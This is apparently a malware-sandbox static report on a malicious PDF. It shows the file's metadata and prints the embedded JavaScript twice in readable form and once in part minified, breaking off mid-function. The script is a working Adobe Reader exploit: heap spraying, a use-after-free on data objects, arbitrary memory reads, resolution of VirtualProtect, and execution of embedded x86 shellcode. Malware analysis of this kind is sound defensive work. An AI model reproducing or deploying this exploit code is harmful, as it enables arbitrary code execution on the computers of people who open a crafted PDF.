popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

URLs submit urls

  • https://adobereview.uservoice.com/

Metadata

  • Version: 0
  • Creator: Acrobat PDFMaker 18 for Word
  • Creation: D:20180403191621-07'00'
  • Title:
  • Subject:
  • Producer: Adobe PDF Library 18.12.67
  • Author: Ben Rogers
  • Modification: 2021-05-07T01:26:33+09:00

Javascript original beautified 

                                                var mem_arr = new Array(0x3000);
var mem_arr1 = new Array(0x1000);
var fill_heap = new Array(0x5000);
var buf_arr = new Array(0x300);
var dvshellbuf;
var fake_arr;
var base_mem = 0;
var base_addr = 0;
var viewer = 0;
var AcroForm_Base = 0;
var myfieldaddress;
var dllName = new Uint8Array([0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0]);
var funcName = new Uint8Array([0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0]);
var beforevftable;
var addr, xaddr;
var read_array;
var fakeIdx = 1;

var field_arr = new Array(0x100);

function kk(addr) {

    var arbAddr = viewer[2] - base_addr;
    var memView = new DataView(base_mem);
    var old = memView.getUint8(arbAddr + 0x50);
    old = (old << 8) + memView.getUint8(arbAddr + 0x51);
    old = (old << 8) + memView.getUint8(arbAddr + 0x52);
    old = (old << 8) + memView.getUint8(arbAddr + 0x53);
    memView.setUint32(arbAddr + 0x50, addr, true);
    var ret = read_array[0];
    memView.setUint32(arbAddr + 0x50, old, true);
    return ret;
}

function jj() {

    for (var i = 0; i < 0x3000; i++) {
        if (mem_arr[i].byteLength < 0) {
            fakeIdx = i;
            break;
        }
    }
    base_mem = mem_arr[fakeIdx];
    viewer = new Uint32Array(mem_arr[fakeIdx - 1], 0x37D8, 0x20);
    var arb_Addr = viewer[2];
    var field_Addr = viewer[0];
}

function ii() {

    addr = kk(base_addr + 0x8);
    addr = kk(addr + 0x10);
    addr = kk(addr + 0x10);
    addr = kk(addr + 0x0C);
    beforevftable = kk(addr + 4);
    addr = kk(beforevftable);

    AcroForm_Base = (addr - 0x60000) & 0xFFFFF000;
    while (kk(AcroForm_Base) != 0x905A4D) {
        AcroForm_Base -= 0x1000;
    }
}


function hh() {

    var addesobject = kk(base_addr + 0x10);
    var dv = new DataView(mem_arr[fakeIdx - 1]);
    for (i = 0; i < 8; i++) {
        dv.setUint32(4 * i, kk(addesobject + i * 4), true);
    }
}

function gg() {

    var e_lfanew = kk(AcroForm_Base + 0x3C);
    var imgNtHdr = AcroForm_Base + e_lfanew;
    if (kk(imgNtHdr) != 0x4550) {
        return 0;
    }

    var sizeofOptionalHdr = kk(imgNtHdr + 0x14) & 0xFFFF;
    var sectionHdr = imgNtHdr + sizeofOptionalHdr + 0x18;
    while (kk(sectionHdr) != 0x7865742E) {
        sectionHdr += 0x28;
        if (kk(sectionHdr + 0xC) == 0) {
            return 0;
        }
    }

    var retArray = new Array(4);
    retArray[0] = AcroForm_Base + kk(sectionHdr + 0x0C);
    retArray[1] = kk(sectionHdr + 0x10);

    var dataDir = imgNtHdr + 0x18 + 0x60;
    retArray[2] = AcroForm_Base + kk(dataDir + 8);
    retArray[3] = kk(dataDir + 0x0C);

    return retArray;
}

function ff(addr, size, target) {

    var viewText = new Uint8Array(base_mem, addr - base_addr, size);
    var alertnum = 0;
    for (var i = 0; i < size - target.length; i++) {
        var breaked = false;
        for (var j = 0; j < target.length; j++) {
            var v = viewText[i + j];
            if (alertnum < 3) {
                alertnum++;
            }

            if (v != target[j]) {
                breaked = true;
                break;
            }
        }

        if (!breaked) {
            return i + addr;
        }
    }

    return 0;
}

function ee(iatAddr, iatSize, dllName, funcName) {

    var dirAddr = iatAddr;
    var bFind = false;
    while (kk(dirAddr + 0x10) != 0) {
        var dllNameAddr = kk(dirAddr + 0x0C) + AcroForm_Base;
        var idx = 0;
        var breaked = false;
        var a = kk(dllNameAddr) & 0xFF;
        while (a != 0) {
            if (a != dllName[idx] && a + 0x20 != dllName[idx]) {
                breaked = true;
                break;
            }
            idx++;
            dllNameAddr++;
            if (idx > dllName.length) {
                breaked = true;
                break;
            }

            a = kk(dllNameAddr) & 0xFF;
        }

        if (!breaked) {
            bFind = true;
            break;
        }
        dirAddr += 0x14;
    }

    if (!bFind) {
        return 0;
    }

    var iatNames = kk(dirAddr) + AcroForm_Base;
    var iatAddrs = kk(dirAddr + 0x10) + AcroForm_Base;
    var funcNameAddr = kk(iatNames) + AcroForm_Base;
    while (funcNameAddr != 0) {
        funcNameAddr += 2;
        var a = kk(funcNameAddr) & 0xFF;
        var idx = 0;
        var breaked = false;
        while (a != 0) {
            if (a != funcName[idx]) {
                breaked = true;
                break;
            }

            idx++;
            if (idx > funcName.length) {
                breaked = true;
                break;
            }
            funcNameAddr++;
            a = kk(funcNameAddr) & 0xFF;
        }

        if (!breaked) {
            return kk(iatAddrs);
        }

        iatNames += 4;
        iatAddrs += 4;
        funcNameAddr = kk(iatNames) + AcroForm_Base;
    }

    return 0;
}

function dd() {

    var arbAddr = viewer[2] - base_addr;
    var memView = new DataView(base_mem);
    var old = memView.getUint8(arbAddr + 0x50);
    old = (old << 8) + memView.getUint8(arbAddr + 0x51);
    old = (old << 8) + memView.getUint8(arbAddr + 0x52);
    old = (old << 8) + memView.getUint8(arbAddr + 0x53);
    memView.setUint32(arbAddr + 0x50, xaddr, true);
    read_array[0] = base_addr + 0x8000;
    memView.setUint32(arbAddr + 0x50, old, true);
}
var xfuncaddr;

function c() {

    xaddr = kk(base_addr + 0x20);
    xaddr = kk(xaddr + 0x10);
    xaddr = kk(xaddr + 0x10);
    xaddr = kk(xaddr + 0x4);
    xaddr = kk(xaddr + 0x4);
    if (kk(xaddr + 0x34) == 0) {
        xfuncaddr = kk(xaddr);
    } else {
        xaddr = kk(xaddr + 0x34);
        xfuncaddr = kk(xaddr);
    }

}

function b() {

    for (var i = 0; i < 0x5000; i++) {
        fill_heap[i] = unescape("%u5050%u2020%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030");
    }

    var cXMLDoc = "<family name = 'Robat'>\
<mom id = 'm3' name = 'Mary' gender='F'>\
<spouse> m2 </spouse>\
<personal>\
<income>25000</income>\
</personal>\
</mom>\
</family>";
    var myXML = XMLData.parse(cXMLDoc, false);
    var a = XMLData.applyXPath(myXML, "//family/mom");




    fake_arr = this.dataObjects[0];
    this.createDataObject("abname", "qwer");

    var bChged = false;
    for (var i = 1; i < 0x10000; i++) {
        if (fake_arr[i] == 0x41424241) {
            fake_arr[i - 2] = 0;
            myfieldaddress = this.addField("FieldField", "text", 0, [0, 0, 10, 10]);
            fake_arr[i + 1] = myfieldaddress;
            fake_arr[i + 2] = this.getDataObject("abname");
            fake_arr[i + 3] = shellbuf;
            fake_arr[i + 4] = a;

            base_addr = 0x30303830 + i * 8;
            bChged = true;

            var temp = new Array(0x1000);
            for (var j = 0x1000; j >= 0; j--) {
                temp[j] = new Array(0x100);
            }

            for (var j = i - 0x10; j >= 2; j--) {
                fake_arr[j] = new ArrayBuffer(0x1000);
            }
            read_array = new Uint32Array(0x100);
            fake_arr[1] = read_array;
            break;
        }
    }

    if (bChged) {
        jj();
        ii();
        hh();
        c();
        var textRVA = gg();
        var opCodes = new Uint8Array([0x94, 0xC3]);
        var opCodeAddr = ff(textRVA[0], textRVA[1], opCodes);
        var funcAddr = ee(textRVA[2], textRVA[3], dllName, funcName);

        var frontvftable = kk(addr - 4);

        var shellcdeaddr = kk(base_addr + 0x18);
        shellcdeaddr = kk(shellcdeaddr + 0xc);

        var expArrbuf = new DataView(base_mem, 0x8000, 0x1100);
        for (i = 0; i < 0x300; i++) {
            expArrbuf.setUint32(i * 4, kk(xfuncaddr + i * 4), true);
        }
        expArrbuf.setUint32(9 * 4, opCodeAddr, true);

        expArrbuf.setUint32(0, funcAddr, true);
        expArrbuf.setUint32(4, shellcdeaddr, true);
        expArrbuf.setUint32(0x8, shellcdeaddr, true);
        expArrbuf.setUint32(0xC, 0x1000, true);
        expArrbuf.setUint32(0x10, 0x40, true);
        expArrbuf.setUint32(0x14, 0x30303020, true);

        expArrbuf.setUint32(0x1000, xaddr, true);
        expArrbuf.setUint32(0x1004, xfuncaddr, true);

        dd();

        a.saveXML('pretty');

    }

    var dv2 = new DataView(mem_arr[fakeIdx - 1]);

    for (k = 0; k < 8; k++) {
        var old = dv2.getUint8(k * 4 + 3);
        old = (old << 8) + dv2.getUint8(k * 4 + 2);
        old = (old << 8) + dv2.getUint8(k * 4 + 1);
        old = (old << 8) + dv2.getUint8(k * 4);
        dv2.setUint32((3062 + k) * 4, old, true);
    }
}

function a() {


    for (var i = 0; i < 0x80; i++) {
        field_arr[i] = this.addField("Field_" + i, "text", 0, [0, 800, 55, 850]);
    }
    for (var i = 0; i < 0x80; i++) {
        this.removeField("Field_" + i);
    }

    for (var i = 0; i < 0x300; i++) {
        buf_arr[i] = unescape("%u9584%u9584%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9648%u9648%u9648");
        if (i == 0x250) this.dataObjects[0].toString();
    }

    for (var i = 0; i < 0x300; i++) {
        delete buf_arr[i];
        buf_arr[i] = null;
    }
    this.dataObjects[0] = null;
    g_timeout = app.setTimeOut("b();", 10000);
}

for (var i = 0; i < 0x1000; i++) {
    mem_arr1[i] = new ArrayBuffer(0x100);
    var dv1 = new DataView(mem_arr1[i]);
    dv1.setUint32(0, 0x41424241, true);
    dv1.setUint32(4, 0xffffff81, true);
}
for (var i = 0; i < 0x3000; i++) {
    mem_arr[i] = new ArrayBuffer(0xffe8);
    var dv = new DataView(mem_arr[i]);
    dv.setUint32(0, 0x41424241, true);
    dv.setUint32(4, 0xffffff81, true);
    dv.setUint32(0x2FD8, 0x30303060, true);
    dv.setUint32(0x2FD8 + 4, 0x30303100, true);
    dv.setUint32(0x2FD8 + 0xC, 0x30303830, true);
    dv.setUint32(0x2FD8 + 0x24, 0x10000, true);

    dv.setUint32(0x2FD8 + 0x30, 0x30303090, true);

    dv.setUint32(0x2FD8 + 0x60, 0x303030C0, true);
    dv.setUint32(0x2FD8 + 0x6C, 0x30303200, true);
    dv.setUint32(0x2FD8 + 0x70, 0x1000, true);

    dv.setUint32(0x2FD8 + 0x1E9, 1, true);

    dv.setUint32(0x2FD8 + 0xD0, 0x30303130, true);

    dv.setUint32(0x2FD8 + 0x800 - 0xC, 0x10000, true);
    dv.setUint32(0x2FD8 + 0x800 - 0x8, 8, true);
    dv.setUint32(0x2FD8 + 0x800 - 0x4, 0x10000, true);

}
var shellbuf = new ArrayBuffer(0x25000);

var dvshell = new DataView(shellbuf);

var dvshellbuf = new Uint32Array([0xEC8B5560, 0x000017E8, 0x8B615D00, 0x0CE883C5, 0x9058B894, 0x088B3031, 0x8904408B, 0x2460FF01, 0x83EC8B55, 0x565310EC, 0xEB5DEB57, 0x6C61635B, 0x78652E63, 0x55600065, 0x2C246C8B, 0x8B3C458B, 0x03780554, 0x184A8BD5, 0x03205A8B, 0x348B49DD, 0x33F5038B, 0xFCC033FF, 0x74C084AC, 0x0DCFC107, 0xF4EBF803, 0x28247C3B, 0x5A8BE375, 0x66DD0324, 0x8B4B0C8B, 0xDD031C5A, 0x038B048B, 0x45895DC5, 0x458B61F4, 0x0008C2F4, 0x81EC8B55, 0x001000EC, 0x0000E800, 0x835F0000, 0x06EB38C7, 0x05EA835A, 0xF5E805EB, 0x8DFFFFFF, 0xAB10F905, 0x89D02B00, 0x058DF855, 0x00AB108D, 0x89F84503, 0xC933F045, 0xA164C033, 0x00000030, 0x8B0C408B, 0x368B1C70, 0x8B08568B, 0x3966207E, 0xF275184F, 0x746B3F80, 0x4B3F8007, 0xE6EB0274, 0x330C7F80, 0x5589E075, 0xFC5D8BFC, 0x53FC5D8B, 0x8AFE9868, 0xF055FF0E, 0x1084058D, 0x450300AB, 0x50006AF8, 0x81F455FF, 0x001000C4, 0x5E5F5D00, 0x5DE58B5B, 0x909090C3]);

for (var i = 0; i < dvshellbuf.length; i++) {
    dvshell.setUint32(i * 4, dvshellbuf[i], true);
}

g_timeout = app.setTimeOut("a();", 3500);
                                            
                                                var mem_arr = new Array(0x3000);
var mem_arr1 = new Array(0x1000);
var fill_heap = new Array(0x5000);
var buf_arr = new Array(0x300);
var dvshellbuf;
var fake_arr;
var base_mem = 0;
var base_addr = 0;
var viewer = 0;
var AcroForm_Base = 0;
var myfieldaddress;
var dllName = new Uint8Array([0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0]);
var funcName = new Uint8Array([0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0]);
var beforevftable;
var addr, xaddr;
var read_array;
var fakeIdx = 1;

var field_arr = new Array(0x100);

function kk(addr) {

    var arbAddr = viewer[2] - base_addr;
    var memView = new DataView(base_mem);
    var old = memView.getUint8(arbAddr + 0x50);
    old = (old << 8) + memView.getUint8(arbAddr + 0x51);
    old = (old << 8) + memView.getUint8(arbAddr + 0x52);
    old = (old << 8) + memView.getUint8(arbAddr + 0x53);
    memView.setUint32(arbAddr + 0x50, addr, true);
    var ret = read_array[0];
    memView.setUint32(arbAddr + 0x50, old, true);
    return ret;
}

function jj() {

    for (var i = 0; i < 0x3000; i++) {
        if (mem_arr[i].byteLength < 0) {
            fakeIdx = i;
            break;
        }
    }
    base_mem = mem_arr[fakeIdx];
    viewer = new Uint32Array(mem_arr[fakeIdx - 1], 0x37D8, 0x20);
    var arb_Addr = viewer[2];
    var field_Addr = viewer[0];
}

function ii() {

    addr = kk(base_addr + 0x8);
    addr = kk(addr + 0x10);
    addr = kk(addr + 0x10);
    addr = kk(addr + 0x0C);
    beforevftable = kk(addr + 4);
    addr = kk(beforevftable);

    AcroForm_Base = (addr - 0x60000) & 0xFFFFF000;
    while (kk(AcroForm_Base) != 0x905A4D) {
        AcroForm_Base -= 0x1000;
    }
}


function hh() {

    var addesobject = kk(base_addr + 0x10);
    var dv = new DataView(mem_arr[fakeIdx - 1]);
    for (i = 0; i < 8; i++) {
        dv.setUint32(4 * i, kk(addesobject + i * 4), true);
    }
}

function gg() {

    var e_lfanew = kk(AcroForm_Base + 0x3C);
    var imgNtHdr = AcroForm_Base + e_lfanew;
    if (kk(imgNtHdr) != 0x4550) {
        return 0;
    }

    var sizeofOptionalHdr = kk(imgNtHdr + 0x14) & 0xFFFF;
    var sectionHdr = imgNtHdr + sizeofOptionalHdr + 0x18;
    while (kk(sectionHdr) != 0x7865742E) {
        sectionHdr += 0x28;
        if (kk(sectionHdr + 0xC) == 0) {
            return 0;
        }
    }

    var retArray = new Array(4);
    retArray[0] = AcroForm_Base + kk(sectionHdr + 0x0C);
    retArray[1] = kk(sectionHdr + 0x10);

    var dataDir = imgNtHdr + 0x18 + 0x60;
    retArray[2] = AcroForm_Base + kk(dataDir + 8);
    retArray[3] = kk(dataDir + 0x0C);

    return retArray;
}

function ff(addr, size, target) {

    var viewText = new Uint8Array(base_mem, addr - base_addr, size);
    var alertnum = 0;
    for (var i = 0; i < size - target.length; i++) {
        var breaked = false;
        for (var j = 0; j < target.length; j++) {
            var v = viewText[i + j];
            if (alertnum < 3) {
                alertnum++;
            }

            if (v != target[j]) {
                breaked = true;
                break;
            }
        }

        if (!breaked) {
            return i + addr;
        }
    }

    return 0;
}

function ee(iatAddr, iatSize, dllName, funcName) {

    var dirAddr = iatAddr;
    var bFind = false;
    while (kk(dirAddr + 0x10) != 0) {
        var dllNameAddr = kk(dirAddr + 0x0C) + AcroForm_Base;
        var idx = 0;
        var breaked = false;
        var a = kk(dllNameAddr) & 0xFF;
        while (a != 0) {
            if (a != dllName[idx] && a + 0x20 != dllName[idx]) {
                breaked = true;
                break;
            }
            idx++;
            dllNameAddr++;
            if (idx > dllName.length) {
                breaked = true;
                break;
            }

            a = kk(dllNameAddr) & 0xFF;
        }

        if (!breaked) {
            bFind = true;
            break;
        }
        dirAddr += 0x14;
    }

    if (!bFind) {
        return 0;
    }

    var iatNames = kk(dirAddr) + AcroForm_Base;
    var iatAddrs = kk(dirAddr + 0x10) + AcroForm_Base;
    var funcNameAddr = kk(iatNames) + AcroForm_Base;
    while (funcNameAddr != 0) {
        funcNameAddr += 2;
        var a = kk(funcNameAddr) & 0xFF;
        var idx = 0;
        var breaked = false;
        while (a != 0) {
            if (a != funcName[idx]) {
                breaked = true;
                break;
            }

            idx++;
            if (idx > funcName.length) {
                breaked = true;
                break;
            }
            funcNameAddr++;
            a = kk(funcNameAddr) & 0xFF;
        }

        if (!breaked) {
            return kk(iatAddrs);
        }

        iatNames += 4;
        iatAddrs += 4;
        funcNameAddr = kk(iatNames) + AcroForm_Base;
    }

    return 0;
}

function dd() {

    var arbAddr = viewer[2] - base_addr;
    var memView = new DataView(base_mem);
    var old = memView.getUint8(arbAddr + 0x50);
    old = (old << 8) + memView.getUint8(arbAddr + 0x51);
    old = (old << 8) + memView.getUint8(arbAddr + 0x52);
    old = (old << 8) + memView.getUint8(arbAddr + 0x53);
    memView.setUint32(arbAddr + 0x50, xaddr, true);
    read_array[0] = base_addr + 0x8000;
    memView.setUint32(arbAddr + 0x50, old, true);
}
var xfuncaddr;

function c() {

    xaddr = kk(base_addr + 0x20);
    xaddr = kk(xaddr + 0x10);
    xaddr = kk(xaddr + 0x10);
    xaddr = kk(xaddr + 0x4);
    xaddr = kk(xaddr + 0x4);
    if (kk(xaddr + 0x34) == 0) {
        xfuncaddr = kk(xaddr);
    } else {
        xaddr = kk(xaddr + 0x34);
        xfuncaddr = kk(xaddr);
    }

}

function b() {

    for (var i = 0; i < 0x5000; i++) {
        fill_heap[i] = unescape("%u5050%u2020%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030");
    }

    var cXMLDoc = "<family name = 'Robat'>\
<mom id = 'm3' name = 'Mary' gender='F'>\
<spouse> m2 </spouse>\
<personal>\
<income>25000</income>\
</personal>\
</mom>\
</family>";
    var myXML = XMLData.parse(cXMLDoc, false);
    var a = XMLData.applyXPath(myXML, "//family/mom");




    fake_arr = this.dataObjects[0];
    this.createDataObject("abname", "qwer");

    var bChged = false;
    for (var i = 1; i < 0x10000; i++) {
        if (fake_arr[i] == 0x41424241) {
            fake_arr[i - 2] = 0;
            myfieldaddress = this.addField("FieldField", "text", 0, [0, 0, 10, 10]);
            fake_arr[i + 1] = myfieldaddress;
            fake_arr[i + 2] = this.getDataObject("abname");
            fake_arr[i + 3] = shellbuf;
            fake_arr[i + 4] = a;

            base_addr = 0x30303830 + i * 8;
            bChged = true;

            var temp = new Array(0x1000);
            for (var j = 0x1000; j >= 0; j--) {
                temp[j] = new Array(0x100);
            }

            for (var j = i - 0x10; j >= 2; j--) {
                fake_arr[j] = new ArrayBuffer(0x1000);
            }
            read_array = new Uint32Array(0x100);
            fake_arr[1] = read_array;
            break;
        }
    }

    if (bChged) {
        jj();
        ii();
        hh();
        c();
        var textRVA = gg();
        var opCodes = new Uint8Array([0x94, 0xC3]);
        var opCodeAddr = ff(textRVA[0], textRVA[1], opCodes);
        var funcAddr = ee(textRVA[2], textRVA[3], dllName, funcName);

        var frontvftable = kk(addr - 4);

        var shellcdeaddr = kk(base_addr + 0x18);
        shellcdeaddr = kk(shellcdeaddr + 0xc);

        var expArrbuf = new DataView(base_mem, 0x8000, 0x1100);
        for (i = 0; i < 0x300; i++) {
            expArrbuf.setUint32(i * 4, kk(xfuncaddr + i * 4), true);
        }
        expArrbuf.setUint32(9 * 4, opCodeAddr, true);

        expArrbuf.setUint32(0, funcAddr, true);
        expArrbuf.setUint32(4, shellcdeaddr, true);
        expArrbuf.setUint32(0x8, shellcdeaddr, true);
        expArrbuf.setUint32(0xC, 0x1000, true);
        expArrbuf.setUint32(0x10, 0x40, true);
        expArrbuf.setUint32(0x14, 0x30303020, true);

        expArrbuf.setUint32(0x1000, xaddr, true);
        expArrbuf.setUint32(0x1004, xfuncaddr, true);

        dd();

        a.saveXML('pretty');

    }

    var dv2 = new DataView(mem_arr[fakeIdx - 1]);

    for (k = 0; k < 8; k++) {
        var old = dv2.getUint8(k * 4 + 3);
        old = (old << 8) + dv2.getUint8(k * 4 + 2);
        old = (old << 8) + dv2.getUint8(k * 4 + 1);
        old = (old << 8) + dv2.getUint8(k * 4);
        dv2.setUint32((3062 + k) * 4, old, true);
    }
}

function a() {


    for (var i = 0; i < 0x80; i++) {
        field_arr[i] = this.addField("Field_" + i, "text", 0, [0, 800, 55, 850]);
    }
    for (var i = 0; i < 0x80; i++) {
        this.removeField("Field_" + i);
    }

    for (var i = 0; i < 0x300; i++) {
        buf_arr[i] = unescape("%u9584%u9584%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9648%u9648%u9648");
        if (i == 0x250) this.dataObjects[0].toString();
    }

    for (var i = 0; i < 0x300; i++) {
        delete buf_arr[i];
        buf_arr[i] = null;
    }
    this.dataObjects[0] = null;
    g_timeout = app.setTimeOut("b();", 10000);
}

for (var i = 0; i < 0x1000; i++) {
    mem_arr1[i] = new ArrayBuffer(0x100);
    var dv1 = new DataView(mem_arr1[i]);
    dv1.setUint32(0, 0x41424241, true);
    dv1.setUint32(4, 0xffffff81, true);
}
for (var i = 0; i < 0x3000; i++) {
    mem_arr[i] = new ArrayBuffer(0xffe8);
    var dv = new DataView(mem_arr[i]);
    dv.setUint32(0, 0x41424241, true);
    dv.setUint32(4, 0xffffff81, true);
    dv.setUint32(0x2FD8, 0x30303060, true);
    dv.setUint32(0x2FD8 + 4, 0x30303100, true);
    dv.setUint32(0x2FD8 + 0xC, 0x30303830, true);
    dv.setUint32(0x2FD8 + 0x24, 0x10000, true);

    dv.setUint32(0x2FD8 + 0x30, 0x30303090, true);

    dv.setUint32(0x2FD8 + 0x60, 0x303030C0, true);
    dv.setUint32(0x2FD8 + 0x6C, 0x30303200, true);
    dv.setUint32(0x2FD8 + 0x70, 0x1000, true);

    dv.setUint32(0x2FD8 + 0x1E9, 1, true);

    dv.setUint32(0x2FD8 + 0xD0, 0x30303130, true);

    dv.setUint32(0x2FD8 + 0x800 - 0xC, 0x10000, true);
    dv.setUint32(0x2FD8 + 0x800 - 0x8, 8, true);
    dv.setUint32(0x2FD8 + 0x800 - 0x4, 0x10000, true);

}
var shellbuf = new ArrayBuffer(0x25000);

var dvshell = new DataView(shellbuf);

var dvshellbuf = new Uint32Array([0xEC8B5560, 0x000017E8, 0x8B615D00, 0x0CE883C5, 0x9058B894, 0x088B3031, 0x8904408B, 0x2460FF01, 0x83EC8B55, 0x565310EC, 0xEB5DEB57, 0x6C61635B, 0x78652E63, 0x55600065, 0x2C246C8B, 0x8B3C458B, 0x03780554, 0x184A8BD5, 0x03205A8B, 0x348B49DD, 0x33F5038B, 0xFCC033FF, 0x74C084AC, 0x0DCFC107, 0xF4EBF803, 0x28247C3B, 0x5A8BE375, 0x66DD0324, 0x8B4B0C8B, 0xDD031C5A, 0x038B048B, 0x45895DC5, 0x458B61F4, 0x0008C2F4, 0x81EC8B55, 0x001000EC, 0x0000E800, 0x835F0000, 0x06EB38C7, 0x05EA835A, 0xF5E805EB, 0x8DFFFFFF, 0xAB10F905, 0x89D02B00, 0x058DF855, 0x00AB108D, 0x89F84503, 0xC933F045, 0xA164C033, 0x00000030, 0x8B0C408B, 0x368B1C70, 0x8B08568B, 0x3966207E, 0xF275184F, 0x746B3F80, 0x4B3F8007, 0xE6EB0274, 0x330C7F80, 0x5589E075, 0xFC5D8BFC, 0x53FC5D8B, 0x8AFE9868, 0xF055FF0E, 0x1084058D, 0x450300AB, 0x50006AF8, 0x81F455FF, 0x001000C4, 0x5E5F5D00, 0x5DE58B5B, 0x909090C3]);

for (var i = 0; i < dvshellbuf.length; i++) {
    dvshell.setUint32(i * 4, dvshellbuf[i], true);
}

g_timeout = app.setTimeOut("a();", 3500);

Metadata

  • Version: 1
  • Creator: Acrobat PDFMaker 18 for Word
  • Creation: D:20180403191621-07'00'
  • Title:
  • Subject:
  • Producer: Adobe PDF Library 18.12.67
  • Author: Ben Rogers
  • Modification: 2021-05-07T01:37:28+09:00

Javascript original beautified 

                                                var fake_arr, myfieldaddress, beforevftable, addr, xaddr, read_array, xfuncaddr, mem_arr = new Array(12288),
    mem_arr1 = new Array(4096),
    fill_heap = new Array(20480),
    buf_arr = new Array(768),
    base_mem = 0,
    base_addr = 0,
    viewer = 0,
    AcroForm_Base = 0,
    dllName = new Uint8Array([107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0]),
    funcName = new Uint8Array([86, 105, 114, 116, 117, 97, 108, 80, 114, 111, 116, 101, 99, 116, 0]),
    fakeIdx = 1,
    field_arr = new Array(256);

function kk(e) {
    var r = viewer[2] - base_addr,
        a = new DataView(base_mem),
        t = a.getUint8(r + 80);
    t = ((t = ((t = (t << 8) + a.getUint8(r + 81)) << 8) + a.getUint8(r + 82)) << 8) + a.getUint8(r + 83), a.setUint32(r + 80, e, !0);
    var i = read_array[0];
    return a.setUint32(r + 80, t, !0), i
}

function jj() {
    for (var e = 0; e < 12288; e++)
        if (mem_arr[e].byteLength < 0) {
            fakeIdx = e;
            break
        }
    base_mem = mem_arr[fakeIdx];
    (viewer = new Uint32Array(mem_arr[fakeIdx - 1], 14296, 32))[2], viewer[0]
}

function ii() {
    for (addr = kk((addr = kk((addr = kk((addr = kk(base_addr + 8)) + 16)) + 16)) + 12), beforevftable = kk(addr + 4), addr = kk(beforevftable), AcroForm_Base = addr - 393216 & 4294963200; 9460301 != kk(AcroForm_Base);) AcroForm_Base -= 4096
}

function hh() {
    var e = kk(base_addr + 16),
        r = new DataView(mem_arr[fakeIdx - 1]);
    for (i = 0; i < 8; i++) r.setUint32(4 * i, kk(e + 4 * i), !0)
}

function gg() {
    var e = kk(AcroForm_Base + 60),
        r = AcroForm_Base + e;
    if (17744 != kk(r)) return 0;
    for (var a = r + (65535 & kk(r + 20)) + 24; 2019914798 != kk(a);)
        if (0 == kk((a += 40) + 12)) return 0;
    var t = new Array(4);
    t[0] = AcroForm_Base + kk(a + 12), t[1] = kk(a + 16);
    var i = r + 24 + 96;
    return t[2] = AcroForm_Base + kk(i + 8), t[3] = kk(i + 12), t
}

function ff(e, r, a) {
    for (var t = new Uint8Array(base_mem, e - base_addr, r), i = 0, d = 0; d < r - a.length; d++) {
        for (var n = !1, k = 0; k < a.length; k++) {
            if (i < 3 && i++, t[d + k] != a[k]) {
                n = !0;
                break
            }
        }
        if (!n) return d + e
    }
    return 0
}

function ee(e, r, a, t) {
    for (var i = e, d = !1; 0 != kk(i + 16);) {
        for (var n = kk(i + 12) + AcroForm_Base, k = 0, u = !1, f = 255 & kk(n); 0 != f;) {
            if (f != a[k] && f + 32 != a[k]) {
                u = !0;
                break
            }
            if (n++, ++k > a.length) {
                u = !0;
                break
            }
            f = 255 & kk(n)
        }
        if (!u) {
            d = !0;
            break
        }
        i += 20
    }
    if (!d) return 0;
    for (var s = kk(i) + AcroForm_Base, o = kk(i + 16) + AcroForm_Base, m = kk(s) + AcroForm_Base; 0 != m;) {
        for (f = 255 & kk(m += 2), k = 0, u = !1; 0 != f;) {
            if (f != t[k]) {
                u = !0;
                break
            }
            if (++k > t.length) {
                u = !0;
                break
            }
            f = 255 & kk(++m)
        }
        if (!u) return kk(o);
        o += 4, m = kk(s += 4) + AcroForm_Base
    }
    return 0
}

function dd() {
    var e = viewer[2] - base_addr,
        r = new DataView(base_mem),
        a = r.getUint8(e + 80);
    a = ((a = ((a = (a << 8) + r.getUint8(e + 81)) << 8) + r.getUint8(e + 82)) << 8) + r.getUint8(e + 83), r.setUint32(e + 80, xaddr, !0), read_array[0] = base_addr + 32768, r.setUint32(e + 80, a, !0)
}

function c() {
    0 == kk((xaddr = kk((xaddr = kk((xaddr = kk((xaddr = kk((xaddr = kk(base_addr + 32)) + 16)) + 16)) + 4)) + 4)) + 52) || (xaddr = kk(xaddr + 52)), xfuncaddr = kk(xaddr)
}

function b() {
    for (var e = 0; e < 20480; e++) fill_heap[e] = unescape("%u5050%u2020%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030");
    var r = XMLData.parse("<family name = 'Robat'><mom id = 'm3' name = 'Mary' gender='F'><spouse> m2 </spouse><personal><income>25000</income></personal></mom></family>", !1),
        a = XMLData.applyXPath(r, "//family/mom");
    fake_arr = this.dataObjects[0], this.createDataObject("abname", "qwer");
    var t = !1;
    for (e = 1; e < 65536; e++)
        if (1094861377 == fake_arr[e]) {
            fake_arr[e - 2] = 0, myfieldaddress = this.addField("FieldField", "text", 0, [0, 0, 10, 10]), fake_arr[e + 1] = myfieldaddress, fake_arr[e + 2] = this.getDataObject("abname"), fake_arr[e + 3] = shellbuf, fake_arr[e + 4] = a, base_addr = 808466480 + 8 * e, t = !0;
